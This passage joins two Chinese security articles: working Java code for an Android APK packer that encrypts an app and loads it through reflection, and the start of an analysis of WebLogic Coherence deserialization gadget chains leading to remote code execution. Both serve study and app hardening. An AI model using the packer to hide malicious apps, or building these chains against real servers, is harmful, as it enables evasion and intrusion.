if (!file.exists()) {
file.createNewFile();
}
// 将新的dex文件写入classes.dex中
FileOutputStream localFileOutputStream = new FileOutputStream(str);
localFileOutputStream.write(newdex);
localFileOutputStream.flush();
localFileOutputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
// 可以添加自己的加密方法
private static byte[] encrpt(byte[] srcdata) {
for (int i = 0; i < srcdata.length; i++) {
// 这里采用简单的apk的每个byte和0xFF异或一下
srcdata[i] = (byte) (0xFF ^ srcdata[i]);
}
return srcdata;
}
/**
* 修改dex头，CheckSum 校验码
*
* @param dexBytes
*/
private static void fixCheckSumHeader(byte[] dexBytes) {
Adler32 adler = new Adler32();
// 从12到文件末尾计算校验码
// 前8位是magic魔术符
// 8到12位就是这个计算出来的结果CheckSum，这两着不参与计算
adler.update(dexBytes, 12, dexBytes.length - 12);
long value = adler.getValue();
int va = (int) value;
byte[] newcs = intToByte(va);
//高位在前，低位在前掉个个
byte[] recs = new byte[4];
for (int i = 0; i < 4; i++) {
recs[i] = newcs[newcs.length - 1 - i];
System.out.println(Integer.toHexString(newcs[i]));
}
System.arraycopy(recs, 0, dexBytes, 8, 4);//效验码赋值（8-12）
System.out.println(Long.toHexString(value));
System.out.println();
}
/**
* int 转byte[]
*
* @param number
* @return
*/
public static byte[] intToByte(int number) {
byte[] b = new byte[4];
for (int i = 3; i >= 0; i--) {
b[i] = (byte) (number % 256);
number >>= 8;
}
return b;
}
/**
* 修改dex头 sha1值
*
* @param dexBytes
* @throws NoSuchAlgorithmException
*/
private static void fixSHA1Header(byte[] dexBytes)
throws NoSuchAlgorithmException {
MessageDigest md = MessageDigest.getInstance("SHA-1");
md.update(dexBytes, 32, dexBytes.length - 32);// 从32为到结束计算sha--1，与上述同理，前32位不参与计算
byte[] newdt = md.digest();
System.arraycopy(newdt, 0, dexBytes, 12, 20);//修改sha-1值（12-31）
//输出sha-1值，可有可无
String hexstr = "";
for (int i = 0; i < newdt.length; i++) {
hexstr += Integer.toString((newdt[i] & 0xff) + 0x100, 16)
.substring(1);
}
System.out.println(hexstr);
}
/**
* 修改dex头 file_size值
*
* @param dexBytes
*/
private static void fixFileSizeHeader(byte[] dexBytes) {
//新文件长度
byte[] newfs = intToByte(dexBytes.length);
System.out.println(Integer.toHexString(dexBytes.length));
byte[] refs = new byte[4];
//高位在前，低位在前掉个个
for (int i = 0; i < 4; i++) {
refs[i] = newfs[newfs.length - 1 - i];
System.out.println(Integer.toHexString(newfs[i]));
}
System.arraycopy(refs, 0, dexBytes, 32, 4);//修改（32-35）
}
/**
* 以二进制读出文件内容
*
* @param file
* @return
* @throws IOException
*/
private static byte[] readFileBytes(File file) throws IOException {
byte[] arrayOfByte = new byte[1024];
ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
FileInputStream fis = new FileInputStream(file);
while (true) {
int i = fis.read(arrayOfByte);
if (i != -1) {
localByteArrayOutputStream.write(arrayOfByte, 0, i);
} else {
return localByteArrayOutputStream.toByteArray();
}
}
}
}
将源程序的apk和壳程序的dex文件放在file文件夹下，然后运行，就会生成新的classes.dex文件，这就是合并之后的dex。
### 壳程序
目录结构：
ProxyApplication.java：代理程序，执行壳程序的主要逻辑。
public class ProxyApplication extends Application {
private static final String appkey = "APPLICATION_CLASS_NAME";
private String apkFileName;
private String odexPath;
private String libPath;
// 这是context赋值
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
try {
// 创建两个文件夹payload_odex、payload_lib，私有的，可写的文件目录
File odex = this.getDir("payload_odex", MODE_PRIVATE);
File libs = this.getDir("payload_lib", MODE_PRIVATE);
odexPath = odex.getAbsolutePath();
libPath = libs.getAbsolutePath();
apkFileName = odex.getAbsolutePath() + "/payload.apk";
Log.i("demo", "odexPath:" + odexPath);
Log.i("demo", "libPath:" + libPath);
File dexFile = new File(apkFileName);
if (!dexFile.exists()) {
dexFile.createNewFile(); //在payload_odex文件夹内，创建payload.apk
// 读取程序classes.dex文件
byte[] dexdata = this.readDexFileFromApk();
// 分离出解壳后的apk文件已用于动态加载
this.splitPayLoadFromDex(dexdata);
}
Log.i("demo", "apk size:" + dexFile.length());
// 配置动态加载环境
Object currentActivityThread = RefInvoke.invokeStaticMethod(
"android.app.ActivityThread", "currentActivityThread",
new Class[]{}, new Object[]{});//获取主线程对象
String packageName = this.getPackageName();//当前apk的包名
Log.i("demo", "packageName:" + packageName);
ArrayMap mPackages = null;
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) {
mPackages = (ArrayMap) RefInvoke.getFieldOjbect(
"android.app.ActivityThread", currentActivityThread,
"mPackages");
}
WeakReference wr = (WeakReference) mPackages.get(packageName);
// 创建被加壳apk的DexClassLoader对象 加载apk内的类和本地代码（c/c++代码）
DexClassLoader dLoader = new DexClassLoader(apkFileName, odexPath,
libPath, (ClassLoader) RefInvoke.getFieldOjbect(
"android.app.LoadedApk", wr.get(), "mClassLoader"));
//把当前进程的mClassLoader设置成了被加壳apk的DexClassLoader
RefInvoke.setFieldOjbect("android.app.LoadedApk", "mClassLoader",
wr.get(), dLoader);
Log.i("demo", "classloader:" + dLoader);
try {
Object actObj = dLoader.loadClass("com.zero.sourceapp.MainActivity");
Log.i("demo", "actObj:" + actObj);
} catch (Exception e) {
Log.i("demo", "activity:" + Log.getStackTraceString(e));
}
} catch (Exception e) {
Log.i("demo", "error:" + Log.getStackTraceString(e));
e.printStackTrace();
}
}
@Override
public void onCreate() {
super.onCreate();
{
// 加载资源
loadResources(apkFileName);
Log.i("demo", "onCreate");
// 如果源应用配置有Appliction对象，则替换为源应用Applicaiton，以便不影响源程序逻辑。
String appClassName = null;
try {
ApplicationInfo ai = this.getPackageManager()
.getApplicationInfo(this.getPackageName(),
PackageManager.GET_META_DATA);
Bundle bundle = ai.metaData;
if (bundle != null && bundle.containsKey(appkey)) {
appClassName = bundle.getString(appkey); // className 是配置在xml文件中的。
Log.i("demo", "application class name:" + appClassName);
} else {
Log.i("demo", "have no application class name");
return;
}
} catch (PackageManager.NameNotFoundException e) {
Log.i("demo", "error:" + Log.getStackTraceString(e));
e.printStackTrace();
}
//有值的话调用该Applicaiton
Object currentActivityThread = RefInvoke.invokeStaticMethod(
"android.app.ActivityThread", "currentActivityThread",
new Class[]{}, new Object[]{});
Object mBoundApplication = RefInvoke.getFieldOjbect(
"android.app.ActivityThread", currentActivityThread,
"mBoundApplication");
Object loadedApkInfo = RefInvoke.getFieldOjbect(
"android.app.ActivityThread$AppBindData",
mBoundApplication, "info");
//把当前进程的mApplication 设置成了null
RefInvoke.setFieldOjbect("android.app.LoadedApk", "mApplication",
loadedApkInfo, null);
Object oldApplication = RefInvoke.getFieldOjbect(
"android.app.ActivityThread", currentActivityThread,
"mInitialApplication");
ArrayList<Application> mAllApplications = (ArrayList<Application>) RefInvoke
.getFieldOjbect("android.app.ActivityThread",
currentActivityThread, "mAllApplications");
mAllApplications.remove(oldApplication); // 删除oldApplication
ApplicationInfo appinfo_In_LoadedApk = (ApplicationInfo) RefInvoke
.getFieldOjbect("android.app.LoadedApk", loadedApkInfo,
"mApplicationInfo");
ApplicationInfo appinfo_In_AppBindData = (ApplicationInfo) RefInvoke
.getFieldOjbect("android.app.ActivityThread$AppBindData",
mBoundApplication, "appInfo");
appinfo_In_LoadedApk.className = appClassName;
appinfo_In_AppBindData.className = appClassName;
Application app = (Application) RefInvoke.invokeMethod(
"android.app.LoadedApk", "makeApplication", loadedApkInfo,
new Class[]{boolean.class, Instrumentation.class},
new Object[]{false, null}); // 执行 makeApplication（false,null）
RefInvoke.setFieldOjbect("android.app.ActivityThread",
"mInitialApplication", currentActivityThread, app);
ArrayMap mProviderMap = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
mProviderMap = (ArrayMap) RefInvoke.getFieldOjbect(
"android.app.ActivityThread", currentActivityThread,
"mProviderMap");
}
Iterator it = mProviderMap.values().iterator();
while (it.hasNext()) {
Object providerClientRecord = it.next();
Object localProvider = RefInvoke.getFieldOjbect(
"android.app.ActivityThread$ProviderClientRecord",
providerClientRecord, "mLocalProvider");
RefInvoke.setFieldOjbect("android.content.ContentProvider",
"mContext", localProvider, app);
}
Log.i("demo", "app:" + app);
app.onCreate();
}
}
/**
* 释放被加壳的apk文件，so文件
*
* @param apkdata
* @throws IOException
*/
private void splitPayLoadFromDex(byte[] apkdata) throws IOException {
int ablen = apkdata.length;
//取被加壳apk的长度 这里的长度取值，对应加壳时长度的赋值都可以做些简化
byte[] dexlen = new byte[4];
System.arraycopy(apkdata, ablen - 4, dexlen, 0, 4);
ByteArrayInputStream bais = new ByteArrayInputStream(dexlen);
DataInputStream in = new DataInputStream(bais);
int readInt = in.readInt();
System.out.println(Integer.toHexString(readInt));
byte[] newdex = new byte[readInt];
//把被加壳的源程序apk内容拷贝到newdex中
System.arraycopy(apkdata, ablen - 4 - readInt, newdex, 0, readInt);
//这里应该加上对于apk的解密操作，若加壳是加密处理的话
// 对源程序Apk进行解密
newdex = decrypt(newdex);
// 写入apk文件
File file = new File(apkFileName);
try {
FileOutputStream localFileOutputStream = new FileOutputStream(file);
localFileOutputStream.write(newdex);
localFileOutputStream.close();
} catch (IOException localIOException) {
throw new RuntimeException(localIOException);
}
// 分析被加壳的apk文件
ZipInputStream localZipInputStream = new ZipInputStream(
new BufferedInputStream(new FileInputStream(file)));
while (true) {
ZipEntry localZipEntry = localZipInputStream.getNextEntry(); // 这个也遍历子目录
if (localZipEntry == null) {
localZipInputStream.close();
break;
}
// 取出被加壳apk用到的so文件，放到libPath中（data/data/包名/payload_lib)
String name = localZipEntry.getName();
if (name.startsWith("lib/") && name.endsWith(".so")) {
File storeFile = new File(libPath + "/"
+ name.substring(name.lastIndexOf('/')));
storeFile.createNewFile();
FileOutputStream fos = new FileOutputStream(storeFile);
byte[] arrayOfByte = new byte[1024];
while (true) {
int i = localZipInputStream.read(arrayOfByte);
if (i == -1)
break;
fos.write(arrayOfByte, 0, i);
}
fos.flush();
fos.close();
}
localZipInputStream.closeEntry();
}
localZipInputStream.close();
}
/**
* 从apk包里面获取dex文件内容（byte）
*
* @return
* @throws IOException
*/
private byte[] readDexFileFromApk() throws IOException {
ByteArrayOutputStream dexByteArrayOutputStream = new ByteArrayOutputStream();
ZipInputStream localZipInputStream = new ZipInputStream(
new BufferedInputStream(new FileInputStream(
this.getApplicationInfo().sourceDir)));
while (true) {
ZipEntry localZipEntry = localZipInputStream.getNextEntry();
if (localZipEntry == null) {
localZipInputStream.close();
break;
}
if (localZipEntry.getName().equals("classes.dex")) {
byte[] arrayOfByte = new byte[1024];
while (true) {
int i = localZipInputStream.read(arrayOfByte);
if (i == -1)
break;
dexByteArrayOutputStream.write(arrayOfByte, 0, i);
}
}
localZipInputStream.closeEntry();
}
localZipInputStream.close();
return dexByteArrayOutputStream.toByteArray();
}
//直接返回数据，读者可以添加自己解密方法
private byte[] decrypt(byte[] srcdata) {
for (int i = 0; i < srcdata.length; i++) {
srcdata[i] = (byte) (0xFF ^ srcdata[i]);
}
return srcdata;
}
//以下是加载资源
protected AssetManager mAssetManager;//资源管理器
protected Resources mResources;//资源
protected Resources.Theme mTheme;//主题
protected void loadResources(String dexPath) {
try {
AssetManager assetManager = AssetManager.class.newInstance();
Method addAssetPath = assetManager.getClass().getMethod("addAssetPath", String.class);
addAssetPath.invoke(assetManager, dexPath);
mAssetManager = assetManager;
} catch (Exception e) {
Log.i("inject", "loadResource error:" + Log.getStackTraceString(e));
e.printStackTrace();
}
Resources superRes = super.getResources();
superRes.getDisplayMetrics();
superRes.getConfiguration();
mResources = new Resources(mAssetManager, superRes.getDisplayMetrics(), superRes.getConfiguration());
mTheme = mResources.newTheme();
mTheme.setTo(super.getTheme());
}
@Override
public AssetManager getAssets() {
return mAssetManager == null ? super.getAssets() : mAssetManager;
}
@Override
public Resources getResources() {
return mResources == null ? super.getResources() : mResources;
}
@Override
public Resources.Theme getTheme() {
return mTheme == null ? super.getTheme() : mTheme;
}
}
RefInvoke.java：反射工具类
public class RefInvoke {
/**
* 反射执行类的静态函数(public)
*
* @param class_name 类名
* @param method_name 函数名
* @param pareTyple 函数的参数类型
* @param pareVaules 调用函数时传入的参数
* @return
*/
public static Object invokeStaticMethod(String class_name, String method_name, Class[] pareTyple, Object[] pareVaules) {
try {
Class obj_class = Class.forName(class_name);
Method method = obj_class.getMethod(method_name, pareTyple);
return method.invoke(null, pareVaules);
} catch (SecurityException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalArgumentException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalAccessException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NoSuchMethodException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (InvocationTargetException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
/**
* 反射执行类的函数（public）
*
* @param class_name
* @param method_name
* @param obj
* @param pareTyple
* @param pareVaules
* @return
*/
public static Object invokeMethod(String class_name, String method_name, Object obj, Class[] pareTyple, Object[] pareVaules) {
try {
Class obj_class = Class.forName(class_name);
Method method = obj_class.getMethod(method_name, pareTyple);
return method.invoke(obj, pareVaules);
} catch (SecurityException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalArgumentException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalAccessException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NoSuchMethodException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (InvocationTargetException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
/**
* 反射得到类的属性（包括私有和保护）
*
* @param class_name
* @param obj
* @param filedName
* @return
*/
public static Object getFieldOjbect(String class_name, Object obj, String filedName) {
try {
Class obj_class = Class.forName(class_name);
Field field = obj_class.getDeclaredField(filedName);
field.setAccessible(true);
return field.get(obj);
} catch (SecurityException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NoSuchFieldException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalArgumentException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalAccessException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
/**
* 反射得到类的静态属性（包括私有和保护）
*
* @param class_name
* @param filedName
* @return
*/
public static Object getStaticFieldOjbect(String class_name, String filedName) {
try {
Class obj_class = Class.forName(class_name);
Field field = obj_class.getDeclaredField(filedName);
field.setAccessible(true);
return field.get(null);
} catch (SecurityException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NoSuchFieldException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalArgumentException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalAccessException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
/**
* 设置类的属性（包括私有和保护）
*
* @param classname
* @param filedName
* @param obj
* @param filedVaule
*/
public static void setFieldOjbect(String classname, String filedName, Object obj, Object filedVaule) {
try {
Class obj_class = Class.forName(classname);
Field field = obj_class.getDeclaredField(filedName);
field.setAccessible(true);
field.set(obj, filedVaule);
} catch (SecurityException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NoSuchFieldException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalArgumentException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalAccessException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* 设置类的静态属性（包括私有和保护）
*
* @param class_name
* @param filedName
* @param filedVaule
*/
public static void setStaticOjbect(String class_name, String filedName, Object filedVaule) {
try {
Class obj_class = Class.forName(class_name);
Field field = obj_class.getDeclaredField(filedName);
field.setAccessible(true);
field.set(null, filedVaule);
} catch (SecurityException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NoSuchFieldException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalArgumentException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalAccessException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
AndroidMenifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.zero.shellapp">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.ShellApp"
android:name="com.zero.shellapp.ProxyApplication">
<meta-data android:name="APPLICATION_CLASS_NAME" android:value="com.zero.sourceapp.MyApplication"/>
<activity android:name="com.zero.sourceapp.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
接下来对这个壳程序做一个详细的解释。
首先是对分离源apk的时机的选择，就是在脱壳程序还没有运行起来的时候，来加载源程序的Apk，执行他的onCreate方法，那么这个时机不能太晚，不然的话，就是运行脱壳程序，而不是源程序了。查看源码我们知道。Application中有一个方法：attachBaseContext这个方法，他在Application的onCreate方法执行前就会执行了，那么我们的工作就需要在这里进行。
在attachBaseContext中，我们先创建两个文件夹，用来存放分离出来的dex和lib库文件并把分离出来的apk写入payload.apk中，这些目录都要求有可写权限。
从整个apk中获取dex文件
从上述的dex文件中分离出源apk文件：先将我们保存在最后四个字节的源apk的大小读出来赋值给dexlen，然后通过I/O函数，从dex文件最后往前选dexlen大小个byte放在newdex里面，这个就是我们读到的源apk，然后就需要对其解密，保证其正常运行，然后需要分析这个apk，如果有的话，把里面的lib库文件取出来单独保存，方便其运行。
解密源apk，和加密的函数对应即可
得到源apk之后，我们接下来的任务就是让他跑起来，我们在前面提到如果要让activity具有完整的生命周期，就需要去替换LoadedApk中的mClassLoader，这里就需要用到反射的技术，通过查看源码，首先我们反射ActivityThread类可以发现currentActivityThread()函数会返回一个静态的ActivityThread类对象，我们就反射获取该对象，然后运用该对象去得到ActivityThread类中的属性mPackages，然后获得当前包名，然后利用包名去获得LoadedApk中的mClassLoader，用这个类加载器作为parent创建一个DexClassLoader，然后用自己创建的DexClassLoader替换掉系统中的mClassLoader(由于ArrayMap是高版本Android引入的，低版本没有，所以代码里做了版本判断)。
private static volatile ActivityThread sCurrentActivityThread;
public static ActivityThread currentActivityThread() {
return sCurrentActivityThread;
}
我们已经获得了加载源程序的类加载器，然后由于源apk中有自定义application，所以我们在onCreate()方法中要找到源程序的application，让他运行起来才可以。
先从AndroidMenifest.xml中获取application值(源apk的application和activity要在AndroidMenifest.xml里注册)，获取到如果有的话就需要替换系统的application为源apk中的的application。
首先我们还是要获得ActivityThread对象，然后运用反射获得他的内部类AppBindData的对象，然后获得AppBindData当中的LoadedApk属性值Info。
static final class AppBindData {
LoadedApk info;
String processName;
ApplicationInfo appInfo;
List<ProviderInfo> providers;
ComponentName instrumentationName;
Bundle instrumentationArgs;
IInstrumentationWatcher instrumentationWatcher;
IUiAutomationConnection instrumentationUiAutomationConnection;
int debugMode;
boolean enableBinderTracking;
boolean trackAllocation;
boolean restrictedBackupMode;
boolean persistent;
Configuration config;
CompatibilityInfo compatInfo;
/** Initial values for {@link Profiler}. */
ProfilerInfo initProfilerInfo;
public String toString() {
return "AppBindData{appInfo=" + appInfo + "}";
}
}
查看android.app.LoadedApk源代码，发现创建Application的makeApplication方法，如果缓存mApplication不为空，则直接返回。mApplication为空时，则创建RealApplication，并且执行相关的回调。创建RealApplication时，类名是从mApplicationInfo.className中获取。添加新创建RealApplication到mActivityThread.mAllApplications。赋值给缓存mApplication。所以我们在调用makeApplication之前，需要将mApplication置为null，否则会直接返回ProxyApplication的实例。
所以在我们的代码中，通过ActivityThread实例，获得LoadedApk实例。为了使makeApplication顺利执行，先设置mApplication为null。移除mAllApplications中ProxyApplication的实例。LoadedApk中mApplicationInfo和AppBindData中appInfo都是ApplicationInfo类型，需要分别替换className字段的值为RealApplication的实际类全名。之后，反射调用系统的makeApplication()，这样就完成了替换。
通过阅读系统的源代码，可以很容易的知道，Application和ContentProvider的初始化顺序是：Application.attachBaseContext
-> ContentProvider.onCreate -> Application.onCreate
所以最后我们话需要通过反射去修改mContext的值，程序才可以正常运行。
最后是资源管理问题：通过阅读源码可以发现，资源是由AssetManager管理的，所以我们只需要在addAssetPath方法中，将资源加载的路径改为源apk的路径即可。
## 复现结果
源程序运行的结果：
加固后程序运行结果：
我们可以发现加固之后的程序还是可以照常运行的。
接下来哦我们看一下反编译的结果：
源程序：
加固之后的程序：
通过对比，我们发现加固之后只会反编译出壳程序的代码，不会反编译出源apk的代码。 | 社区文章 |
**作者：kejaly@白帽汇安全研究院
校对：r4v3zn@白帽汇安全研究院**
## 前言
Coherence 组件是 WebLogic 中的一个核心组件，内置在 WebLogic 中。关于 Coherence
组件的官方介绍：<https://www.oracle.com/cn/java/coherence/>
<https://images.seebug.org/content/images/2021/08/11/1628653081000-image-20210802113229602.png-w331s>
近些年，weblogic Coherence 组件反序列化漏洞被频繁爆出，苦于网上没有公开对 weblogic Coherence
组件历史反序列化漏洞的总结，导致很多想入门或者了解 weblogic Coherence 组件反序列化漏洞的朋友不知道该怎么下手，于是本文便对
weblogic Coherence 组件历史反序列化漏洞做出了一个总结和分析。
关于 Coherence 组件反序列化漏洞利用链的架构，我把他分为两个，一个是基于 `ValueExtractor.extract`
的利用链架构，另一个则是基于 `ExternalizableHelper` 的利用链架构。
# 前置知识
想理清 WebLogic 的 Coherence 组件历史反序列化漏洞需要首先了解一些 Coherence
组件反序列化漏洞中经常会涉及的一些接口和类。他们在 Coherence 组件反序列化漏洞利用中经常出现。
## ValueExtractor
`com.tangosol.util.ValueExtrator` 是一个接口：
<https://images.seebug.org/content/images/2021/08/11/1628653081000-image-20210725145241910.png-w331s>
在 Coherence 中 很多名字以 `Extrator` 结尾的类都实现了这个接口：
<https://images.seebug.org/content/images/2021/08/11/1628653081000-image-20210725145311604.png-w331s>
这个接口中声明了一个 `extract` 方法，而 `ValueExtractor.extract` 正是 Coherence 组件历史漏洞（
`ValueExtractor.extract` 链部分 ）的关键。
## ExternalizableLite
Coherence 组件中存在一个 `com.tangosol.io.ExternalizableLite`，它继承了
`java.io.Serializable`，另外声明了 `readExternal` 和 `writeExternal` 这两个方法。
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210728101447302.png-w331s>
`com.tangosol.io.ExternalizableLite` 接口 和 jdk 原生的 `java.io.Externalizable`
很像，注意不要搞混了。
## ExternalizableHelper
上面提到的 `com.tangosol.io.ExternalizableLite` 接口的实现类的序列化和反序列化操作，都是通过
`ExternalizableHelper` 这个类来完成的。
我们可以具体看 `ExternalizableHelper` 这个类是怎么对实现 `com.tangosol.io.ExternalizableLite`
接口的类进行序列化和反序列化的，这里以 `readObject` 方法为例，`writeObject` 读者可自行去查看：
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210728102323560.png-w331s>
如果传入的`DataInput` 不是 `PofInputStream` 的话（Coherence 组件历史漏洞 涉及到的
`ExternalizableHelper.readObject` 传入的 `DataInput` 都不是
`PofInputStream`），`ExternalizableHelper#readObject` 中会调用
`ExternalizableHelper#readObjectInternal` 方法：
`readObjectInternal` 中会根据传入的中 `nType` 进行判断，进入不同的分支：
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210728103543135.png-w331s>
对于实现 `com.tangosol.io.ExternalizableLite` 接口的对象，会进入到 `readExternalizableLite`
方法：
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210728104059476.png-w331s>
可以看到在 `readExternalizableLite` 中 1125 行会根据类名加载类，然后并且实例化出这个类的对象，然后调用它的
`readExternal()` 方法。
# 漏洞链
## ValueExtractor.extract
我们在分析反序列化利用链的时候，可以把链分为四部分，一个是链头，一个是危险的中间的节点（漏洞点），另一个是调用危险中间节点的地方（触发点），最后一个则是利用这个节点去造成危害的链尾。
在 Coherence 组件 `ValueExtractor.extract` 利用链架构中，这个危险的中间节点就是
`ValueExtractor.extract` 方法。
### 漏洞点
#### ReflectionExtractor
`ReflectionExtractor` 中的 `extract` 方法含有对任意对象方法的反射调用：
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210725151740093.png-w331s>
配合 `ChainedExtractor` 和 `ConstantExtractor` 可以实现类似 cc1 中的 `transform` 链的调用。
##### 涉及 CVE
CVE-2020-2555，CVE-2020-2883
#### MvelExtractor
`MvelExtrator` 中的 `extract` 方法，会执行任意一个 MVEL 表达式（RCE）：
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210725151958385.png-w331s>
而在序列化和反序列化的时候 `m_sExpr` 会参与序列化和反序列化：
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210725152123268-16274409140731.png-w331s>
所以 `m_xExpr` 可控，所以就导致可以利用 `MvelExtrator.extrator` 来达到执行任意命令的作用。
##### 涉及 CVE
CVE-2020-2883
#### UniversalExtractor
`UniversalExtractor`（Weblogic 12.2.1.4.0 独有） 中的 `extract` 方法，可以调用任意类中的的 `get`
和 `is` 开头的无参方法，可以配合 `jdbsRowset`，利用 JDNI 来远程加载恶意类实现 RCE。
具体细节可以参考：<https://nosec.org/home/detail/4524.html>
##### 涉及 CVE
CVE-2020-14645，CVE-2020-14825 ， CVE-2020-14841
#### LockVersionExtractor
`oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor`
中的 `extract()` 方法，可以调用任意 `AttributeAccessor` 的 `getAttributeValueFromObject`
方法，赋值 `Accessor` 为 `MethodAttributeAccessor` 进而可以实现调用任意类的无参方法。
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210730155536540.png-w331s>
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210730160730854.png-w331s>
具体细节可参考：<https://cloud.tencent.com/developer/article/1740557>
**`MethodAttributeAccessor.getAttributeValueFromObject`**
，本质是利用`MethodAttributeAccessor.getAttributeValueFromObject`中存在任意无参方法调用，在
CVE-2021-2394 中也利用到了。
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210730155032451.png-w331s>
##### 涉及 CVE
CVE-2020-14825 ， CVE-2020-14841
#### FilterExtractor.extract
`filterExtractor.extract` 中存在任意
`AttributeAccessor.getAttributeValueFromObject(obj)` 的调用，赋值
this.attributeAccessor 为上面说的`MethodAttributeAccessor` 就可以导致任意无参方法的调用。
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210730155415313.png-w331s>
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210730155505477.png-w331s>
关于 `readAttributeAccessor` 的细节可以看
CVE-2021-2394：<https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ >和
<https://www.cnblogs.com/potatsoSec/p/15062094.html> 。
##### 涉及 CVE
CVE-2021-2394
### 触发点
上面例举出了很多危险的 `ValueExtractor.extract` 方法，接下来再看看哪里存在调用 `ValueExtractor.extract`
方法的地方。
#### Limitfiler
Limitfiler 中 `Limitfiler.toString` 中存在任意 `ValueExtractor.extract` 方法调用：
<https://images.seebug.org/content/images/2021/08/11/1628653082000-image-20210728114626359.png-w331s>
由于 `this.m_comparator` 参与序列化和反序列化，所以可控：
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210728114758555.png-w331s>
我们只需要赋值 `this.m_comparator` 为 恶意的 `ValueExtractor` 就可以实现任意 `ValueExtractor
.extract` 方法的调用。`toString` 方法，则可以利用 CC5 中用到的 `BadAttributeValueExpException`
来触发。
##### 涉及 CVE
CVE-2020-2555
#### ExtractorComparator
`ExtractorComparator.compare` ，其实是针对 CVE-2020-2555 补丁的绕过，CVE-2020-2555
的修复方法中修改了 `Limitfiler.toString` 方法，也就是说修改了一个调用 `ValueExtractor.extract` 方法的地方。
而 CVE-2020-2883 则找到另一个调用 `ValueExtractor.extract` 的地方，也就是
`ExtractorComparator.compare` 。
在`ExtratorComparator.compare` 中存在任意（因为 `this.m_extractor` 参与序列化和反序列化）
`ValueExtractor` 的 `extract` 方法调用。
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210728115727611.png-w331s>
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210728115739991.png-w331s>
`Comparator.compare 方法，则可以通过 CC2 中用到的`PriorityQueue.readObject` 来触发。
另外在 weblogic 中， `BadAttributeValueExpException.readObject` 中也可以实现调用任意
`compartor.compare`方法：
<https://images.seebug.org/content/images/2021/08/11/1628653083000-image-20210728120040372.png-w331s>
##### 涉及 CVE
CVE-2020-2883，修复方法是将 `ReflectionExtractor` 和 `MvelExtractor` 加入了黑名单 。
CVE-2020-14645 使用 `com.tangosol.util.extractor.UniversalExtractor` 绕过，修复方法将
`UniversalExtractor` 加入黑名单。
CVE-2020-14825，CVE-2020-14841 使用
`oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor.LockVersionExtractor`
进行绕过。
## ExternalizableHelper
在分析`ExternalizableHelper`
利用链架构的时候，我们依然可以把链分为四部分，一个是链头，一个是危险的中间的节点（漏洞点），另一个是调用危险中间节点的地方（触发点），最后一个则是利用这个节点去造成危害的链尾。
在 `ExternalizableHelper` 利用链架构中，这个危险的中间节点就是 `ExternalizableLite.readExternal`
方法。
